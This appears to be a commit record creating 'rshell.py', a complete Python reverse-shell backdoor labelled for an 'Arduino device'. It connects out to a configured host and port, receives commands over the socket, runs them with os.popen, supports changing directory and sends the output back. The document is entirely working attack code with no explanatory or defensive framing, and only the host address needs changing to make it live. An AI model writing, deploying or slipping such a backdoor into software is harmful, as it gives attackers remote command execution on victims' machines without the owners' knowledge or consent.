new_contents: rhost="127.0.0.1"
  rport=443
  import socket,os
  s=socket.socket()
  s.connect((rhost ,rport))
  s.send('''
               ###########################
               #       Backdoor          #
               #    Arduino device       #
               ###########################''')
  while 1:
      data = s.recv(512)
      if "q" == data.lower():
          s.close()
          break;
      else:
          if data.startswith('cd'):
              os.chdir(data[3:].replace('\n',''))
              s.send("Moved to "+str(os.getcwd()))
              result='\n'
          else:
              result=os.popen(data).read()
      if (data.lower() != "q"):
              s.send(str(result)+"Consol: ")
      else:
          s.send(str(result))
          s.close()
          break;
  exit()
  
subject: Create rshell.py